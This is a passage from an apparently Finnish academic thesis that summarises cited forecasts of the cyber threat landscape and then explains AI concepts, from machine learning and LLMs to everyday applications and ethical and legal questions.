menetelmiä tehostaakseen toimintaansa ja saavuttaakseen tavoitteensa. Tulevaisuudessa 

arvioidaankin, että uhkamaisemassa kasvua jatkaa ”big game hunting”, jolla tarkoitetaan sitä, 

että hyökkäyksiä kohdistetaan merkittäviin ja suuriin toimijoihin. Tämä eroaa tavallisesta 

laajasta hyökkäyksestä siten, että hyökkääjät valitsevat kohteensa huolellisesti ja panostavat 
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resursseja kohdetta kohtaan. Tulevaisuudessa myös BGH:n tukena uskotaan toimivan 

ransomware-vapaat tietovuoto-operaatiot sekä pilviturvallisuuteen liittyvien operaatioiden 

lisääntyminen. (CrowdStrike, 2024, ss. 52–53) 

CrowdStriken (2024) mukaan pilvitietoisten uhkatoimijoiden määrän nähdään kasvaneen jo 

vuodesta 2022 lähtien ja he uskotavat sen jatkavan kasvuaan jatkossakin. Hyökkääjät ovat 

erittäin motivoituneita sijoittamaan ja käyttämään pilveä ja muita uusia teknologioita, 

lisätäkseen toimintojensa tehokkuutta ja menestystä. Pilvitietoiset uhkatoimijat pyrkivät 

havaitsemaan, tunnistamaan ja navigoimaan pilviympäristöjä kerätäkseen arvokasta tietoa, 

jota he voisivat käyttää hyödyksi jatkuvissa operaatioissa ja lunnasneuvotteluissa tai 

myymisessä eteenpäin. (CrowdStrike, 2024, ss. 52–53) 

Geopoliittisten konfliktien uskotaan jatkavan vaikutusta uhkamaisemassa 

tulevaisuudessakin. CrowdStriken (2024) mukaan Venäjän ja Ukrainan sekä Israelin ja 

Hamasin konfliktit synnyttivät vuonna 2023 merkittävästi kohdennettua tunkeutumista ja 

haktivistien kybertoimintaa ja tämän uskotaan jatkuvan jatkossa myös konfliktien jatkuessa. 

Venäjä-yhteyden uhkatoimijoiden uskotaan myös jatkavan hyökkäyksien kohdistamista 

Ukrainaa ja Naton jäsenmaita kohtaan. Haavoittuvuusuhka maisemassa reunalaitteiden ja 

tuotteiden elinkaaren päättymispisteisiin hyökkäyksien kohdentamisen uskotaan jatkavan 

kasvua. Lisäksi tunkeutumisuhkatoimijoiden uskotaan jatkavan kohdennettuja hyökkäyksiä 

mobiililaitteisiin. Tässä osa-alueessa laitteiden ja alustojen turvallisuuden kehittyminen 

vähentää uhkatoimijoiden mahdollisuutta menestyä ja vaatii entistä parempaa osaamista. 

(CrowdStrike, 2024, ss. 52–53) 

Organisaatioilta vaaditaan vastatoimia jatkossa, jotta ne voivat suojautua mahdollisimman 

vahvasti näiltä edellä mainituilta uhkatoimilta. Haasteisiin vastaamiseen vaaditaan joukkoa 

käytäntöjä, teknisiä valmiuksia ja rakenteellisia uudistuksia tietoturvaohjelmissa 

organisaation vastustuskyvyn ja tietoturvan parantamiseksi. Keenin (2024) mukaan on 

nähtävissä muutamia trendejä, jotka ovat yleistymässä organisaatioiden 

kyberturvallisuudessa tai sitä suunnitellessa. Esimerkiksi organisaatioiden tuloslähtöisten 

mittareiden lisääntyminen kasvaa jatkuvasti, näiden avulla voidaan verrata 

kyberturvallisuusinvestointien ja niiden tuottamien suojaustasojen väliä. Kyberuhkien ja -

häiriöiden esiintymisien kasvaminen heikentää organisaatioiden johtajien luottamusta 

kyberturvallisuusstrategioihinsa. Kyberturvallisuusstrategioita suunnitellessa olisikin tärkeää 

tehdä suunnitelma helposti selitettävällä tavalla muillekin kuin IT-johtajille. Tämä tarjoaa 

uskottavan ja puolustettavan riskinhalun ilmaisun, joka tukee suoraa investointia 

suojelutasojen muuttamiseen. (Keen, 2024) 
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Erityisen tärkeänä organisaatioiden kyberturvallisuutta kehitettäessä pidetään henkilöstön 

kouluttamista ja tietoisuuden lisäämistä. Tämän on todettu vähentävän 

kyberturvallisuusriskejä organisaatioissa sekä myös kyberturvallisuusresurssien 

tehokkaampaan käyttöön, kun työntekijät osaavat tehdä itsenäisiä kyberriskipäätöksiä. 

Organisaatioiden tulisi myös huomioida kolmansien osapuolien kanssa 

kyberturvallisuusriskien hallinta. Organisaatioiden tulisi tehdä resilienssiin perustuvia 

resurssitehokkaita kyberturvallisuusriskien hallinta toimia tai suunnitelmia ja näin varmistaa, 

että heidän arvokkaimmat tietonsa turvataan jatkuvasti. Jatkuvan uhka altistuksien hallinta 

(CTEM) -välineiden ottaminen osaksi organisaatioiden kyberturvallisuusstrategiaa todetaan 

olevan kasvussa ja uskotaan kasvavan organisaatioissa tulevaisuudessakin. Välineiden 

avulla voidaan arvioida jatkuvasti digitaalisen ja fyysisen omaisuuden saavutettavuutta, 

altistumista ja hyödynnettävyyttä. (Keen, 2024) 

Identiteetti- ja pääsynhallinnan (IAM) roolin kasvattaminen organisaatioissa tulevaisuudessa 

nähdään myös kasvavana trendinä kyberturvallisuudessa. Kun yhä useammat organisaatiot 

siirtyvät identiteettipohjaiseen lähestymistapaan tietoturvassa, painopiste siirtyy 

verkko­turvalta ja muilta perinteisiltä hallintakeinoilta IAM:iin, mikä tekee siitä keskeisen osan 

kyberturvallisuutta ja liiketoiminnan tuloksia. Jotta organisaatiot pysyvät mukana jatkuvasti 

kehittyvässä ja muuttuvassa uhkamaisemassa, vaatii se yrityksiltä jatkuvia tarkasteluja ja 

toimia. (Keen, 2024) 
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3 Tekoäly 

Tekoäly on viime aikoina puhututtanut oikeastaan kaikkialla. Sen kasvu osaksi arkeamme on 

tapahtunut nopeasti ja jopa niin, että emme välttämättä tiedä olevamme tekemisissä tekoälyn 

kanssa. Kolari ja Kallio (2023, ss. 21–22) kertoo, että tekoäly pitää sisällä useita muitakin 

tärkeitä käsitteitä, kuten esimerkiksi algoritmi, koneoppiminen, syväoppiminen ja 

neuroverkot. Tekoälyn kehittäminen on monivaiheinen prosessi, joka ei välttämättä näy 

käyttäjälle muuten kuin tuloksien laadussa. Seuraavissa kappaleissa tutkitaan tarkemmin, 

miten tekoälyä kehitetään ja mitkä ovat sen mahdollisuudet tänä päivänä ja mihin sen 

uskotaan pystyvän tulevaisuudessa. Lisäksi tutkitaan tekoälyn käyttöä ja kehittämistä 

juridisista sekä eettisistä näkökulmista. 

3.1 Tekoälyn määritelmä 

Kolarin ja Kallion (2023, s. 12) mukaan tekoäly käsitettä käytetään silloin, kun tietokone 

pystyy suorittamaan tehtäviä, joiden on perinteisesti ajateltu vaativan ihmisälyä. Vähä-Sipilän 

ja kumppaneiden (2021, s. 1) mukaan terminä tekoäly ei suoraan kerro, miten tekoäly on 

teknisesti toteutettu ja sitä voidaan toteuttaa monilla eri lähestymistavoilla. Heidän mukaansa 

usein tämän päivän tekoälyjärjestelmän toteutusmenetelmänä on koneoppiminen, jolla 

tarkoitetaan tapaa, jossa järjestelmä voi oppia syötedatasta sen sijaan, että päätöspolut 

olisivat määritelty valmiiksi. Tämä ei kuitenkaan ole ainut tapa, sillä usein 

suosittelujärjestelmät käyttävät tilastollisia menetelmiä, joihin ei sisälly koneoppimista. 

Toisaalta voidaan joidenkin järjestelmien päätöksenteko määritellä selkeiden sääntöjen 

kautta käyttäen logiikkaohjelmointia ja symbolista laskentaa. Tämänlaisen järjestelmän 

käyttö voi tuntua älykkäältä, vaikka se onkin lähempänä ”perinteistä” tietokoneohjelmaa. 

(Vähä-Sipilä ym., 2021, s. 1) Kaikki edellä mainitut käsitteet ovat jotenkin liitännäisiä 

tekoälyyn ja seuraavien lukujen aikana käydään mm. näitä käsitteitä läpi ja selostetaan 

tarkemmin mitä tekoäly on ja miten se toimii. 

3.1.1 Algoritmit 

Tekoälyjärjestelmät kuten kaikki muutkin tietotekniset järjestelmät pohjautuvat algoritmeihin. 

Yksittäinen algoritmi ratkaisee vain yhden tehtävän ennalta määritetyllä tavalla, kun taas 
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tekoälyjärjestelmät ovat laajempia ja joustavampia kokonaisuuksia, jotka voivat käyttää 

algoritmeja osana toimintaansa. Poikkeuksena tekoäly pystyy suorittamaan ennalta 

määrittämättömiä tehtäviä ja ongelmia. Tekoälyjärjestelmät voi olla kehitetty käyttämään 

ongelmien ratkaisemisessa esimerkiksi koneoppimista ja syväoppimista sekä se voi parantaa 

suorituskykyään käytöstä kertyvien kokemuksien myötä. (Kolari & Kallio, 2023, ss. 136–137) 

Algoritmi on keskeinen käsite tietojenkäsittelytieteessä ja viittaa loogiseen ja 

järjestelmälliseen menetelmään, jolla pyritään suorittamaan tietty tehtävä tai ratkaisemaan 

ongelma periaatteellisella tasolla. Esimerkiksi algoritmeja voidaan käyttää laskutoimituksissa 

tai tietokoneohjelmissa tehtävien ratkaisemiseen. Algoritmeja käytetään nykypäivänä 

esimerkiksi sosiaalisen median kanavien sisällön määrittämiseen, kuten siihen, mitä 

käyttäjälle esitetään, sekä hakukoneiden hakutulosten määrittämiseen käyttäjälle. (Kolari & 

Kallio, 2023, ss. 136–137) 

Tekoälyjärjestelmien kehittämisessä algoritmeja hyödynnetään sekä kehitysvaiheessa että 

osana lopullista järjestelmää, joka otetaan käyttöön. Algoritmeja voidaan käyttää esimerkiksi 

päätöksenteon automatisoinnissa. Algoritmin avulla analysoidaan syötettyä dataa ja 

tunnistetaan toistuvat päätöskuviot, joiden pohjalta voidaan luoda päätöspuu. Tätä 

päätöspuuta voidaan hyödyntää tekoälyjärjestelmässä. Tällainen tekoälyjärjestelmä koostuu 

algoritmeista, kehitysvaiheessa luodusta päätöspuusta ja ohjelmistosta, joka yhdistää nämä 

elementit toimivaksi kokonaisuudeksi. (Kolari & Kallio, 2023, ss. 136–137) 

3.1.2 Koneoppiminen 

Koneoppiminen on tekoälyn osa-alue, joka perustuu ajatukseen, että ohjelmisto tai kone voi 

oppia itse ilman, että kaikki toiminta on etukäteen ohjelmoitu. Algoritmi analysoi tietoja ja 

havaintoja löytääkseen yhteyksiä tai suhteita niiden välillä. Se seuloo suuria määriä dataa 

käyttäjän puolesta. Koneoppiminen perustuu siihen, että ohjelma löytää datasta 

säännönmukaisuuksia, jotka auttavat parhaiten saavuttamaan halutun 

lopputuloksen.(Ventre, 2020, ss. 56–57) 

Parisin (2019, s. 12) mukaan koneoppimisen menetelmät voidaan jakaa kolmeen 

pääryhmään: ohjattuun, ohjaamattomaan ja vahvistettuun oppimiseen. Kolarin ja Kallion 

(2023, ss. 139–141) mukaan ohjatussa oppimisessa tekoälyn opettaminen on 

suoraviivaisempaa, koska tässä tavassa käytetään koulutusdataa. Tässä tapauksessa 

käytössä on esimerkkejä, jotka osoittavat, millaisen tuloksen algoritmin tulisi tuottaa 
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tietynlaisesta annetusta syötteestä. Esimerkiksi koulutusdata voi olla kasvonkuvia ja niitä 

vastaavia henkilöiden nimiä. Tässä esimerkissä algoritmin tehtävänä on löytää datasta 

piirteitä ja sääntöjä, joiden avulla voidaan parhaiten toistaa koulutusdatassa olevat toivotut 

tulokset. Koulutusdatassa voi olla eri tietoja, joiden sääntöjen tehtävä on yhdistää tiettyjen 

sääntöjen yhdistelmä toivottuun tulokseen. Tällä tavoin ohjelman oppima malli tuottaa 

halutun lopputuloksen, vaikka syötetyssä datassa olisikin eri piirteitä toisistaan. 

Oppimisvaiheen jälkeen voidaan malli ottaa käyttöön. Oikeaoppisen oppimisvaiheen jälkeen 

mallin tulisi pystyä päättelemään oikeita vastauksia, vaikka se joutuukin käsittelemään dataa 

mitä sille ei ole vielä aikaisemmin syötetty. (Kolari & Kallio, 2023, ss. 139–141) 

Ohjaamattomassa oppimisessa taas ei ole käytössä dataa mikä olisi valmiiksi luokiteltu, vaan 

kone etsii itse datasta säännönmukaisuuksia ja oppii tätä kautta luokittelemaan dataa. 

Ohjaamattomassa oppimisessa dataa voidaan esimerkiksi ryhmitellä samankaltaisiin ryhmiin 

tai yksinkertaistaa monimutkainen data helpommin visualisoitavaksi. (Kolari & Kallio, 2023, s. 

141) 

Vahvistetun oppimisen noudatetaan aiempiin malleihin verraten poikkeavaa 

oppimisstrategiaa. Sen lähestymistapa jäljittelee yrityksen ja erehdyksen toimintaa. Tällä 

tarkoitetaan, että tieto kerätään oppimisen aikana saadusta palautteesta ja tarkoituksena 

maksimoida lopputulos, perustuen päätösten määrän, jotka algoritmi on valinnut. 

Käytännössä oppimisprosessi on ohjaamaton, mutta erityisenä piirteenä on, että jokaisesta 

oikeasta päätöksestä annetaan positiivinen palkinto ja virheellisestä päätöksestä negatiivinen 

palaute jokaisella oppimispolun askeleella. Oppimisprosessin lopussa algoritmin tekemät 

päätökset arvioidaan uudelleen saadun palkinnon perusteella. Tässä lähestymistavassa 

tekoäly oppii päätöksentekoa kokeilemalla eri vaihtoehtoja ja oppimalla niiden seurauksista. 

(Parisi, 2019, s. 13) 

3.1.3 Syväoppiminen ja neuroverkot 

Kone-oppimisen yksi osa-alue on syväoppiminen. Syväoppimisen perustana on neuroverkot, 

jotka jäljittelevät ihmisaivojen toimintaa. Neuroverkot ovat peräisin biologiasta ja sillä 

tarkoitetaan menetelmien joukkoa. Neuroverkko rakentuu toisissaan kytköksissä olevista 

neuroneista. Syötetyn datan on tarkoitus kulkea verkon läpi neuroneiden välisiä yhteyksiä 

pitkin. Syväoppiminen on merkittävä tekijä tekoälyn kehittymisen kannalta ja sen 

kehittyminen syvempiin neuroverkkoihin on mahdollistanut tekoälyn kehittymisen 

nykymuotoonsa. Syväoppimisen myötä voi neuroverkoissa olla kerroksia kymmeniä tai jopa 
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yli sata. Tämän pohjalta neuroverkkojen ensimmäiset kerrokset voivat keskittyä syötteen 

datan piirteistämiseen ja myöhemmissä kerroksissa voidaan keskittyä itse tuloksen 

johtamiseen. Syväoppimisen toteuttaminen vaatii suuren määrän koulutusdataa ja 

merkittävää laskentatehoa. Kun neuroverkko on koulutettu, sen toimintaperiaate on 

sellainen, että syötetty data muutetaan numeroarvoiksi, jotka syötetään verkon 

syöteneuroneihin. Nämä arvot siirtyvät verkon syvempiin kerroksiin, joissa neuronit 

yhdistetään tavalla, joka lopulta tuottaa oikean tuloksen tulosneuroneihin. (Kolari & Kallio, 

2023, s. 142) 

Syvien neuroverkkojen kouluttaminen on erittäin vaativaa, koska niiden toiminta perustuu 

neuronien välisten yhteyksien painoihin, joita voi olla miljardeja. Jokaisella painolla on oma 

vaikutuksensa lopputulokseen. Koulutuksen tavoitteena on asettaa nämä painot oikein eli 

säätää neuroverkon parametrit siten, että tulokset ovat tarkkoja. Tämä säätäminen tapahtuu 

askel kerrallaan, ja jokainen muutos vaikuttaa verkon tuottamiin tuloksiin. Tavoitteena on 

minimoida virhemitta mahdollisimman pieneksi. Neuroverkkojen säätöjen ja virhemitan 

välinen suhde on monimutkainen, mikä tekee kouluttamisesta haastavaa. (Kolari & Kallio, 

2023, ss. 142–143) 

3.1.4 Generatiivinen tekoäly ja LLM 

Kun puhutaan monimutkaisista ja syvätasoisista koneoppimismalleista, niin yksi tällainen 

tuotos on generatiivinen tekoäly. Generatiivisella tekoälyllä viitataan koneoppimisalgoritmiin, 

joka luo tai tuottaa uutta sisältöä. Nämä mallit toimivat tunnistamalla ja koodaamalla suuria 

määriä dataa sisältäviä malleja ja suhteita, ja käyttävät tätä tietoa ymmärtääkseen syötetyn 

datan ja tuottamalla niihin liittyvää uutta sisältöä. (Stryker & Scapicchio, 2024) 

Tekoäly on ollut erittäin ajankohtainen aihe viimeisen vuosikymmenen ajan, mutta 

generatiivinen tekoäly on noussut erityisen huomion kohteeksi viime aikoina. ChatGPT 

lanseeraus vuonna 2022 käynnisti ennennäkemättömän aallon tekoälyn innovaatioita ja 

käyttöönottoa. Generatiivinen tekoäly tuo merkittäviä tuottavuusetuja sekä yksilöille että 

organisaatioille, mutta monet organisaatiot ovat edenneet sen kanssa varovaisesti sen 

mukana tulevien haasteiden ja riskien vuoksi. (Stryker & Scapicchio, 2024) Silti Strykerin ja 

Scapicchion (2024) mukaan ennustetaan, vuoteen 2026 mennessä jopa 80 % 

organisaatioista on ottanut käyttöön tai käyttänyt generatiivisia tekoälysovelluksia. 
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Suuret kielimallit (LLM) ovat yksi generatiivisen tekoälyn ja syväoppimisen alle kuuluva käsite 

ja ne keskittyvät tekstien tuottamiseen. Suuret kielimallit koulutetaan valtavilla määrillä 

tekstidataa, jotta ne ymmärtävät kielen kaavoja ja oppivat tuottamaan ihmismäistä tekstiä. 

Suuret kielimallit kykenevät täydentää lauseita, luoda tarinoita, vastata kysymyksiin ja 

koodata oppimiensa kaavojen perusteella. Malleilla on ihmisen tapaan kyky ymmärtää, 

oppia, sopeutua ja soveltaa älykkyyttään laajalla alueilla ja siksi niitä pidetäänkin lähimpänä 

esimerkkinä tekoälystä, joka vastaa kuvausta yleisestä tekoälystä. (Machal ym., 2024, s. 8) 

3.2 Tekoälyn soveltaminen arjessa ja työelämässä 

Tekoälyn vaikutus osana arkeamme on lisääntynyt viime aikoina erittäin paljon ja osa käyttää 

tekoälyvälineitä tietämättäänkin. Käyttöala lisääntyy jatkuvasti ja tekoälyä on tänä päivänä 

nähtävillä esimerkiksi autoissa, roboteissa ja erinäiset AI-palvelut, jotka voivat diagnosoida 

jopa tehokkaammin asioita kuin alan ammatti-ihmiset. Tekoälyä voi olla mahdotonta välttää, 

jos käytät tietokonetta tai älypuhelinta. (Kolari & Kallio, 2023, s. 27) Tässä luvussa 

tutustutaan siihen, missä kaikkialla tekoälyä voidaan tai käytetään tänä päivänä. 

Arjessa meistä suurin osa käyttää tekoälyä ainakin yhdessä asiassa. Nimittäin internet 

hakukoneet käyttävät nykyään paljolti tekoälyä. Kun käyttäjä syöttää hakuriville dataa, niin 

hakukoneen tekoäly analysoi kirjoitettua tekstiä ja tekee ehdotuksia loppuosaksi. Syötetyn 

datan perusteella tekoäly tulkitsee hakua ja tuo siihen kohdistetut parhaat tulokset käyttäjän 

nähtäville. Tätä samankaltaista tapaa hyödynnetään myös esimerkiksi kuva hakukoneissa ja 

sisällöntuottamisen työkaluissa kuten YouTubessa. (Kolari & Kallio, 2023, ss. 27, 38–40) 

Viime aikoina eniten puheenaiheissa ja esillä ovat olleet generatiiviset tekoälyvälineet kuten 

esimerkiksi ChatGPT. Nämä tekoälyvälineet osaavat luoda uutta sisältöä, joka vaikuttaa siltä 

kuin se olisi ihmisen tuottamaa. ChatGPT:n kaltaiset generatiiviset tekoälyvälineet ovat tänä 

päivänä hämmästyttävän hyviä ja välillä voivat vaikuttaa aidoilta ihmisiltä, jotka tuottavat 

sisältöä. Kuitenkaan näihin välineisiin ei voi sokeasti luottaa, vaan niidenkin tiedoissa voi olla 

virheitä. ChatGPT:n viime ajan kasvusta kertoo se, että se on jopa haastamassa Googlen 

hakukonepalveluissa yhtenä osana Microsoftin Bing hakukonetta. Työvälineet ovat 

hyötykäytettäviä esimerkiksi tekstin tuottamisessa ja kääntämisessä ja tiedon hankinnassa, 

mutta esimerkiksi ChatGPT:n ilmaisversion koulutusdata ulottuu tällä hetkellä vain vuoteen 

2021 asti, joten kaikista ajantasaisinta tietoa ChatGPT:llä ei ole. (Kolari & Kallio, 2023, ss. 

41–44) 
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Tekoäly on tullut osaksi myös tekstinkäsittelyohjelmia ja kuvankäsittelyohjelmia. 

Tekstinkäsittelyohjelmissa tekoälyn avulla tarjotaan esimerkiksi ennakoivaa kirjoitusta, joka 

pyrkii ennustamaan, mikä on seuraava sana kirjoittaessa tekstiä. Lisäksi korjaus ja 

oikolukutoiminto tukeutuvat tekoälyyn tänä päivänä. Tämä tarjoaa käyttäjille nopeampaa ja 

virheettömämpää tekstiä kirjoittaessa. Näitä tekoälyvälineitä käyttävät mm. Word, Excel, 

Outlook ja Google-työkalut. Tekstinkäsittelyssä myös kääntämistyökalut ovat nykyään erittäin 

yleisiä, kun maailma kansainvälistyy. Kirjoja tai tekstejä voidaan tänä päivänä kääntää 

useammille kielille kuin aiemmin. Syväoppimiseen perustuvia tekoälytekniikoita käyttäviä 

käännöstyökaluja on saatavilla useita, ja nämä ovatkin tänä päivänä erittäin laadukkaita 

tapoja kääntää tekstiä useammille kielille. (Kolari & Kallio, 2023, ss. 47–49) 

Kuvankäsittely ja kuvien luominen tekoälyn avulla on kehittynyt tehokkaasti viime aikoina. 

Tekoälyn avulla voidaan tehdä kuvankäsittelyn monimutkaisia toimenpiteitä nopeasti ja 

yksinkertaisesti. Lisäksi niin sanotut ”tekstistä kuvaksi” -kuvageneraattorit ovat lisääntyneet 

viime aikoina. Näiden avulla voidaan muutaman tekstirivin perusteella luoda kuvia. Kuvat 

luodaan kirjoittamalla tekstiä kuvan sisällöstä ja tyylistä, tämän jälkeen generaattori luo 

kuvan syötetyn datan mukaisesti. Yksi tämänlaisista kuvageneraattoreista OpenAI:n 

kehittämän DALL-E. Tekoälyn avulla tehtyjä kuvia on aloitettu käyttöä sanoma- ja 

aikakausilehdissä sekä yrityksien materiaaleissa. Tämä kuvastaa sitä miten käyttökelpoisia 

näiden välineiden avulla tuotettu materiaali on. (Kolari & Kallio, 2023, ss. 50–57) Alla 

olevassa kuvassa (Kuva 4) on esimerkki siitä mihin tekoäly pystyy kuvien luomisessa. Kuva 

on luotu Microsoftin Designer työkalulla, jolle on kerrottu ohjeeksi luoda kuva naisesta, joka 

maalaa taulua Eiffel-tornista. Kuvasta pyydettiin tekemään mahdollisimman aidon näköinen. 
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Kuva 4 Microsoft Designer tekoälyn luoma kuva naisesta maalaamassa Eiffel-tornia. 

(Microsoft, n.d.) 

 

Yksi puhutuimmista tekoälyn käyttökohteista varsinkin kyberturvallisuuteen viitaten on viime 

aikoina ollut ääntä tulkitsevat ja tuottavat tekoälyvälineet. Yksi tämänlaisista välineistä on 

esimerkiksi musiikkikappaleiden tunnistamiseen tarkoitetut sovellukset. Nämä sovellukset 

ovat toteutettu niin, että koneoppimismalli tunnistaa melodian ja osaa jättää 

studioäänityksistä huomioitta kaiken tunnistuksen kannalta turhan datan. Tekoäly pystyy 

myös tuottamaan ääntä, jossa sen avulla voidaan kloonata esimerkiksi toisen henkilön ääni 

ja tuottaa haluttua tekstiä tämän avulla. Näiden avulla on jo tuotettu esimerkiksi 

edesmenneiden ihmisten kanssa podcasteja tai elokuvia. (Kolari & Kallio, 2023, ss. 63–67) 

Autoala on yksi erityisesti tekoälystä hyötyvä ala. Tekoäly näkyy nykyään autoilussa ajoa 

helpottavien avustimien kasvussa. Autossa tekoälyn avulla voidaan seurata ja ohjata auton 

toimintaa. Autossa olevien sensorien, kameroiden ja tutkien avulla saadaan kerättyä 

jatkuvasti dataa auton ja kuljettajan toiminnasta sekä siitä, että mitä auton ympärillä 

tapahtuu. Tekoälyn tehtävä on yhdistää kertyvä data ja sen avulla tehdä muutamassa 

millisekunnissa päätöksiä siitä, miten auton tulee toimia suhteessa muihin tielläliikkujiin. 

Itseohjautuvien autojen kehittyminen markkinalla on kasvussa ja tässä tapauksessa auton 

tekoälyn huomiokyvyn ja päätöksentekoprosessin on oltava vähintään yhtä hyvä tai parempi 

kuin ihmisellä. Kehityksestä huolimatta vielä markkinoilla ei ole täysin autonomista autoa 
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vaan autoissa on avustusjärjestelmiä, jotka suorittavat ajotoimintoja, mutta vaativat kuitenkin 

kuljettajan aktiivista valvontaa. (Kolari & Kallio, 2023, ss. 86–88) 

Terveydenhuollossa on otettu käyttöön tekoälyä sisältäviä ohjelmia ja työkaluja. Du-Harpur ja 

kollegat (2020) toteavat, että näitä sovelluksia on kahdenlaisia: kuluttajille ja yleisölle 

suunnattuja sekä lääkäreiden päätöksenteon tueksi kehitettyjä. Heidän mukaansa tekoäly ei 

tee vastuullisia diagnooseja eikä pyri korvaamaan terveydenhuollon ammattilaisia. Kuluttajille 

suunnattujen tekoälysovellusten käyttö on herättänyt keskustelua siitä, parantavatko ne 

terveyttä vai aiheuttavatko ne turhaa huolta ja tarpeettomia tutkimuksia. Lääkäreiden 

päätöksenteon tueksi kehitetyt tekoälysovellukset on puolestaan suunniteltu parantamaan 

päätöksenteon tarkkuutta erityisesti ei-asiantuntijoiden osalta. Näiden sovellusten avulla 

voidaan merkittävästi vähentää virheitä toiminnoissa, joissa virheiden riski on suuri. (Du‐

Harpur ym., 2020) Kolarin ja Kallion (2023, ss. 97–100) mukaan tekoälyn avulla pystytään 

diagnosoimaan tarkemmin ja paremmin, jotta sairaudet voidaan todeta heti alkuvaiheessa ja 

tällä tavoin säästää tutkimuskuluissa ja hoitokerroissa.  Heidän mukaansa 

lääketeollisuudessa voidaan hyödyntää tekoälyä uusien lääkkeiden löytämisessä ja niiden 

kehittämisessä. Tekoälyn avulla voidaan tunnistaa monimutkaisia molekyylirakenteita. 

Lisäksi terveydenhuollossa ovat yleistymässä robotiikka leikkauksissa. Yhä useampi leikkaus 

toteutetaan robottiavusteisesti, mutta kuitenkin niin että robotit toimivat kirurgin hallinnassa. 

(Kolari & Kallio, 2023, ss. 97–100) 

Tekoäly kehittyy nyt nopeammin kuin koskaan ja sitä on käytössä useammassa 

organisaatiossa jo nyt. Ne, jotka eivät lähde mukaan tekoälymuutokseen, voiva olla vaarassa 

menettää asemansa tulevaisuudessa toimintatapojen muuttuessa. Varovaisuus 

yritysmaailmassa on ymmärrettävää, sillä kyseessä on toimiala, josta ei ole paljoakaan 

kokemusta ja tekoäly investoinnit eivät ole aina kovin pieniä. Tällä hetkellä suuri osa 

tekoälyhankkeista organisaatioissa keskittyy tuotantoprosessien kehittämiseen, 

laadunvalvontaan, asiakaspalveluun, logistiikkaan, markkinointiin ja myyntiin. Useasti 

organisaatiot lähtevät tekoälyprojekteihin pilottien avulla, jotta voidaan nähdä, onko 

tekoälystä konkreettisesti hyötyä. (Kolari & Kallio, 2023, ss. 101–103) 

3.3 Tekoälyn käytön eettiset sekä juridiset näkökulmat ja riskit 

Tekoälyjärjestelmiä suunnitellessa on tärkeää tunnistaa ja hallita tietoturvariskejä, jotta 

tekoälyjärjestelmiä voidaan hyödyntää mahdollisimman turvallisesta ja kasvattaa 

mahdollisesti järjestelmien käytettävyyttä laajemmalle. Tekoälyn ja koneoppimisen etiikka ja 



22 

 

haavoittuvuudet ovat olleet viime vuosina suuren huomion kohteen. Tämä on johtanut myös 

siihen, että eettisiä periaatteita yhdistetään lainsäädäntöön ja erilaisiin käytännesääntöihin. 

(Vähä-Sipilä ym., 2021, s. 3) Tässä luvussa tullaan tutustumaan tekoälyn eettisiin ja juridisiin 

näkökulmiin ja säädöksiin, sekä mitkä ovat tekoälyn tyypillisimmät riskit ja haavoittuvuudet. 

Tekoälyn eettiset kysymykset eivät merkittävästi eroa muista tekniikan käytön eettisistä 

kysymyksistä, sillä eettisyyden arviointi perustuu aina vallitseviin arvoihin, jotka voivat 

muuttua ajan myötä. Tekoälyn eettisissä pohdinnoissa usein liioitellaan tekoälyn kykyjä. 

Tietoturvan näkökulmasta eettisen arvioinnin tavoitteena on välttää ja hallita tekniikan tuomia 

riskejä. Tekoälyn eettinen arviointi perustuu yleensä arvoihin, jotka juontuvat EU-

perusoikeuskirjasta, perustuslaista sekä eurooppalaisista ja kansallisista laeista ja 

asetuksista. Eettinen arviointi voidaan usein tehdä laillisuuden ja sääntöjenmukaisuuden 

näkökulmasta, erityisesti jos käyttötapaus on ennestään tunnettu. Tekoälyn eettisyyttä 

pohtiessa on tärkeää miettiä, mihin tekoälyä ylipäätään saa käyttää. Euroopassa on julkaistu 

raportteja, joiden mukaan tekoälyjärjestelmien ei esimerkiksi pitäisi päättää elämän ja 

kuoleman kysymyksistä. (Vähä-Sipilä ym., 2021, ss. 3–4) 

Tekoälyn eettisyyteen yksi iso vaikuttava tekijä on sen koulutusdata. Koulutusdatassa voi olla 

piirteitä, jonka kautta tekoäly voi syrjiä tiettyä ihmisryhmää tai tekoälymallin eheyteen 

voidaan pyrkiä vaikuttamaan hyökkäämällä. Koulutusdataan liittyvät eettisissä kysymyksissä 

nousee myös usein yksityisyyden suoja ja tietosuoja teemat, johtuen tekoälyn yleisyydestä 

data-analyysin apuvälineenä. Esille nousevat reiluuden, ihmisarvon ja syrjimättömyyden 

näkökulmat, jotka ovat samoja näkökulmia kuin mitä henkilöntietolainsäädäntö pyrkii 

takaamaan. (Vähä-Sipilä ym., 2021, ss. 3–4) 

Vähä-Sipilän ja kumppaneiden (2021, ss. 4–5) mukaan tekoälysovelluksen eettisyyttä 

tarkasteltaessa, voidaan sitä lähestyä muutamien käsitteiden kautta. Kuvassa (Kuva 5) on 

esitetty esimerkki, miten heidän mukaansa eettisiä kysymyksiä voidaan lähestyä 

riskianalyysissä tekoälysovellusta suunnitellessa ja tehtäessä. Kuvan oikean laidan asioiden 

pohjalta tulisi keskustella enemmän arvopohjaisesti ja pyrkiä vastamaan kysymykseen, mihin 

ja miten tekoälyä tulisi käyttää. Kysymyksien tulisi keskittyä tekoälyjärjestelmään ja sen 

ympäröivän maailman yhteistoimintaan sekä sen vaikutuksiin käyttäjiin ja muihin yksilöihin, 

yhteiskuntaan ja ympäristöön. Vasemman puolen asiat liittyvät taas tekoälyjärjestelmän 

hallittavuuteen. Hallittavuuden tarkoituksena on varmistaa järjestelmän kyky toimia sille 

tarkoitetulla tavalla. Nämä kysymykset voidaan helpommin yleistää, eikä keskustelua tarvitse 

sitouttaa niin vahvasti arvoihin. (Vähä-Sipilä ym., 2021, ss. 4–5) 
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Kuva 5 Esimerkki tekoälysovelluksen eettisien kysymysten tarkasteluun (Vähä-Sipilä ym., 

2021, s. 4) 

 

Kuvan (Kuva 5) keskellä näkyvät läpinäkyvyys ja selitettävyys ovat keskeisiä syitä siihen, 

miksi tekoälyjärjestelmiä pidetään riskialttiimpina verrattuna perinteisiin tietojärjestelmiin. 

Tekoälyjärjestelmien päätöksiä on usein vaikea selittää, koska niiden perusteet voivat olla 

koodattuina neuroverkkojen neuronien välisiin yhteyksiin ja painoihin. Tämä tekee päätösten 

ymmärtämisestä haastavaa ihmisille, jotka eivät tunne järjestelmän toimintaa. Läpinäkyvyys 

ja selitettävyys ovat myös tärkeitä poikkeamien havaitsemisessa, hallinnassa ja tutkimisessa. 

